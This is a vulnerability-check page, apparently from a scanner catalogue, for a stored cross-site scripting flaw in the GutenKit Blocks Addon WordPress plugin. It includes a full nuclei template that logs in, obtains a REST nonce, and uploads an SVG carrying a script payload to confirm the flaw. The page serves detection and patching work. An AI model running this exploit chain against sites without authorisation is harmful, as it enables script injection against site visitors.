GutenKit Blocks Addon < 2.5.0 - Stored Cross-Site Scripting

mediumseverity

6.8CVSS score

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

GutenKit Blocks Addon before 2.5.0 lets an authenticated Author upload an unsanitized SVG through the WordPress REST media endpoint; JavaScript in the SVG can execute when a user opens its URL.

Impact

An Author can store JavaScript in an uploaded SVG that executes in a visitor's browser when the SVG is opened.

Fix

Update GutenKit Blocks Addon to version 2.5.0 or later.

How to confirm it

Send: GET /wp-content/plugins/gutenkit-blocks-addon/readme.txt
Positive when: compare_versions(version, "< 2.5.0") and status_code == 200
Send: GET {{BaseURL}}/wp-json/gutenkit/v1
Positive when: status_code == 200 or gutenkit_namespace == "gutenkit/v1"
Send: POST /wp-login.php
Positive when: matches in header /(?i)wordpress_logged_in/
Send: GET /wp-admin/admin-ajax.php?action=rest-nonce
Positive when: matches /^[a-f0-9]{10}$/
Send: POST /wp-json/wp/v2/media
Positive when: status_code == 201 and contains(body, "source_url")
Send: GET {{svg_url}}
Positive when: contains_all(body, "onload=\"alert(document.domain)\"", "<script>alert(document.domain)</script>") and contains(content_type, "image/svg+xml") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-19697 -u <target>

The full check

id: CVE-2026-19697

info:
  name: GutenKit Blocks Addon < 2.5.0 - Stored Cross-Site Scripting
  author: yaswanth77
  severity: medium
  description: |
    GutenKit Blocks Addon before 2.5.0 lets an authenticated Author upload an unsanitized SVG through the WordPress REST media endpoint; JavaScript in the SVG can execute when a user opens its URL.
  impact: |
    An Author can store JavaScript in an uploaded SVG that executes in a visitor's browser when the SVG is opened.
  remediation: |
    Update GutenKit Blocks Addon to version 2.5.0 or later.
  reference:
    - https://wpscan.com/vulnerability/d144679c-10ef-4a69-b0e9-fd9e18a2aafc
    - https://wordpress.org/plugins/gutenkit-blocks-addon/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-19697
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 6.8
    cve-id: CVE-2026-19697
    epss-score: 0.00431
    epss-percentile: 0.37653
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 8
    vendor: wpmet
    product: gutenkit-blocks-addon
    shodan-query: 'http.html:"/wp-content/plugins/gutenkit-blocks-addon"'
    fofa-query: 'body="wp-content/plugins/gutenkit-blocks-addon"'
  tags: cve,cve2026,wordpress,wp-plugin,xss,fileupload,gutenkit,intrusive,vuln,authenticated

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

http:
  - raw:
      - |
        GET /wp-content/plugins/gutenkit-blocks-addon/readme.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: version
        internal: true
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "< 2.5.0")'
          - 'status_code == 200'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-json/gutenkit/v1"

    extractors:
      - type: json
        name: gutenkit_namespace
        part: body
        json:
          - '.namespace'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'gutenkit_namespace == "gutenkit/v1"'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1&redirect_to=%2Fwp-admin%2F

    matchers:
      - type: regex
        part: header
        regex:
          - '(?i)wordpress_logged_in'
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: wp_nonce
        internal: true
        group: 1
        part: body
        regex:
          - '^([a-f0-9]{10})$'

    matchers:
      - type: regex
        part: body
        regex:
          - '^[a-f0-9]{10}$'
        internal: true

  - raw:
      - |
        POST /wp-json/wp/v2/media HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{wp_nonce}}
        Content-Disposition: attachment; filename={{randstr}}.svg
        Content-Type: image/svg+xml

        <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"><script>alert(document.domain)</script><rect width="100" height="100"/></svg>

    extractors:
      - type: json
        name: svg_url
        internal: true
        part: body
        json:
          - '.source_url'

      - type: json
        name: media_id
        internal: true
        part: body
        json:
          - '.id'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'contains(body, "source_url")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{svg_url}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "onload=\"alert(document.domain)\"", "<script>alert(document.domain)</script>")'
          - 'contains(content_type, "image/svg+xml")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from